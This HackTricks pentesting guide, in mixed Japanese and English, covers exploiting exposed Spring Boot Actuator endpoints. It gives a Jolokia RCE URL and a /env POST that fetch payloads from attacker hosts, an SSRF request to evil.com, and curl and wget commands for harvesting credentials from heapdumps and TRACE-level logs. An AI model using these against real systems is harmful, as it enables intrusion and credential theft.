Spring Actuators

Reading time: 8 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Spring Auth Bypass

出典 https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png

Spring Boot Actuators の悪用

元の投稿を確認: [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

要点:

  • Spring Boot Actuators は /health/trace/beans/env などのエンドポイントを登録します。バージョン1から1.4まではこれらのエンドポイントは認証なしでアクセス可能です。1.5以降ではデフォルトで非敏感なのは /health/info のみですが、開発者がこのセキュリティを無効にすることがよくあります。
  • 一部の Actuator エンドポイントは機密データを露出したり、有害な操作を許可したりする可能性があります:
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, および /heapdump
  • Spring Boot 1.x では actuators はルート URL 配下に登録されますが、2.x では /actuator/ ベースパスの下に配置されます。

Exploitation Techniques:

  1. Remote Code Execution via '/jolokia':
  • /jolokia actuator エンドポイントは Jolokia Library を公開し、MBeans への HTTP アクセスを可能にします。
  • reloadByURL アクションは外部 URL からのロギング設定の再読み込みに悪用でき、細工した XML 設定を介して blind XXE や Remote Code Execution に繋がる可能性があります。
  • Example exploit URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
  1. Config Modification via '/env':
  • Spring Cloud Libraries が存在する場合、/env エンドポイントは環境プロパティの変更を許可します。
  • プロパティを操作することで、Eureka の serviceURL における XStream の deserialization 脆弱性などを悪用できます。
  • Example exploit POST request:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. Other Useful Settings:
  • spring.datasource.tomcat.validationQueryspring.datasource.tomcat.url、および spring.datasource.tomcat.max-active のようなプロパティは、SQL injection やデータベース接続文字列の変更など、さまざまな悪用に利用できます。

追加情報:

  • default actuators の包括的なリストは here にあります。
  • Spring Boot 2.x の /env エンドポイントはプロパティ変更に JSON 形式を使用しますが、基本的な概念は同じです。

関連トピック:

  1. Env + H2 RCE:
  • /env エンドポイントと H2 データベースの組み合わせを悪用する詳細は here にあります。
  1. SSRF on Spring Boot Through Incorrect Pathname Interpretation:
  • HTTP pathname 内の matrix parameters (;) に関する Spring フレームワークの処理を悪用して、Server-Side Request Forgery (SSRF) を引き起こせます。
  • Example exploit request:
http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

HeapDump secrets mining (credentials, tokens, internal URLs)

If /actuator/heapdump is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).

  • Download and quick triage:
bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
  • Deeper analysis with VisualVM and OQL:
  • Open heapdump in VisualVM, inspect instances of java.lang.String or run OQL to hunt secrets:
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
  • Automated extraction with JDumpSpider:
bash
java -jar JDumpSpider-*.jar heapdump

Typical high-value findings:

  • Spring DataSourceProperties / HikariDataSource objects exposing url, username, password.
  • OriginTrackedMapPropertySource entries revealing management.endpoints.web.exposure.include, service ports, and embedded Basic-Auth in URLs (e.g., Eureka defaultZone).
  • Plain HTTP request/response fragments including Authorization: Basic ... captured in memory.

ヒント:

  • Spring に特化したワードリストを使って actuator エンドポイントを素早く発見してください(例: SecLists spring-boot.txt)。また /actuator/logfile/actuator/httpexchanges/actuator/env/actuator/configprops が公開されていないか常に確認してください。
  • Heapdump から得た Credentials は隣接サービスや場合によってはシステムユーザ(SSH)でも有効なことがあるので、広く試してみてください。

Abusing Actuator loggers/logging to capture credentials

If management.endpoints.web.exposure.include allows it and /actuator/loggers is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via /actuator/logfile or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters).

  • Enumerate and crank up sensitive loggers:
bash
# List available loggers
curl -s http://target/actuator/loggers | jq .

# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
  • Find where logs are written and harvest:
bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='

# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
  • Trigger login/authentication traffic and parse the log for creds. In microservice setups with a gateway fronting auth, enabling TRACE for gateway/security packages often makes headers and form bodies visible. Some environments even generate synthetic login traffic periodically, making harvesting trivial once logging is verbose.

Notes:

  • Reset log levels when done: POST /actuator/loggers/<logger> with { "configuredLevel": null }.
  • If /actuator/httpexchanges is exposed, it can also surface recent request metadata that may include sensitive headers.

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする